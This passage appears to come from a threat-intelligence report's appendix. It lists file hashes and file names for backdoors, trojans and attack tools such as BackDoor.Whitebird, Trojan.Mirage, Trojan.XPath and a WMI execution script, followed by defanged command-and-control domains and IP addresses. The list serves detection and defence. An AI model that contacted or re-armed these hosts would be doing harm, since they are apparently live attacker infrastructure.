b03c98a9539d4cbb17f2efc118c4b57882b96d93: CLNTCON.ocx
b7eac081c814451791f0cd169d0c6a525a05194d: CLNTCON.ocx
9a2d98321356ad58ea6c8a7796fd576e76237bd1: CLNTCON.ocx
ec548ba0ec9d2452c30e9ef839eb6582a4b685c8: CLNTCON.ocp
7bcb10f1ed9b41abbbe468d177cd46991c224315: ESETSrv

135

135

d52152661c836e76bebd46046ba3f877c5d381d8: http_dll.dll
1ba85de14f85389bf3194acea865f4c819d7b602: QuickHeal
8d5e7d389191a3de73350d444c3989857077f629: QuickHeal
aa0e7101b1663c23f980598ca3d821d7b6ea342d: scansts.dll
84c34167a696533cc7eddb5409739edd9af232ed: msvsct.exe
2c51147b271d691f0ab040f62c821246604d3d81: msvsct.ini
2e2919ce6f643d73ff588bccdc7da5d74c611b2c: msvsct.ini
6fc2e76a0d79cc2a78a8d73f63d2fc433ede8bd5: RasTls.dll
e6381d09cdf15973f952430e70547d0b88bb1248: decrypted
f6bf976a2fdef5a5a44c60cbfb0c8fcbdc0bae02: decrypted
BackDoor.Whitebird
e70a5ce00b3920d83810496eab6b0d028c5f746e: oci.dll
c47883f01e51a371815fc86f2adbfb16ffb3cb8a: RasTls.dll
6fc2e76a0d79cc2a78a8d73f63d2fc433ede8bd5: RasTls.dll
BackDoor.Zhengxianma
cce4ba074aa690fc0e188c34f3afff402602921a: RasTls.dll
Trojan.Mirage
34085c6d935c4df7ce7f80297b0c14a8d3b436d8: cmdl32.dat
f5fe30ee6e2de828c7a6eecbb7f874dc35d31f43: config.dat
c4ef5981bee97c78d29fb245d84146a5db710782: rapi.dll
d4558761c52027bf52aa9829bbb44fe12920381d: server.dll
Trojan.Misics
c90ade97ec1c6937aedeced45fd643424889d298: MISICS.dll
5b8f28a5986612a41a34cb627864db80b8c4b097: MISICS.dll.crt

136

136

Trojan.XPath
3e1d66ea09b7c4dbe3c6ffe58262713806564c17: svchost.exe
b6fba9877ad79ce864d75b91677156a33a59399e: yyyyyyyygoogle.sys
8cc16ad99b40ff76ae68d7b3284568521e6413d9: yyyyyyyygoogle.sys
5c21ce425ff906920955e13a438f64f578635c8f: yyyyyyyygoogle.sys
e4e365cc14eeeba5921d385b991e22dea48a1d75: PayloadDll.dll
b07568ef80462faac7da92f4556d5b50591ca28d: PayloadDll.dll
fc4844a6f9b5c76abc1ec50b93597c5cfde46075: xPath.dll
2bf5cfe30265a99c13f5adad7dd17ccb9db272e0: xPath64.dll
Tool.Proxy
a1c6958372cd229b8a75a09bdff8d72959bb6053: cryptsocket.exe
30debaf4ec160c00958470d9b295247c86595067: vmwared.exe
Tool.Scanner
05a2b543b5a3a941c7ad9e6bff2a101dc2222cb2: m17.exe
Tool.WmiExec
8675e4c54a35b64e6fee3d8d7ad500f618e1aac9: wmi.vbs

Domainstv[.]teldcomtv[.]com
dns03[.]cainformations[.]com
www[.]sultris[.]com
kkkfaster[.]jumpingcrab[.]com
www[.]pneword[.]net
v[.]nnncity[.]xyz

137

137

nicodonald[.]accesscam[.]org

IPs
45.32.184[.]101
45.63.114[.]127
45.77.234[.]118
45.251.241[.]26
46.105.227[.]110
46.166.129[.]241
103.93.76[.]27
104.194.215[.]199
114.116.8[.]198
116.206.94[.]68
137.175.79[.]212
142.252.249[.]25
202.74.232[.]2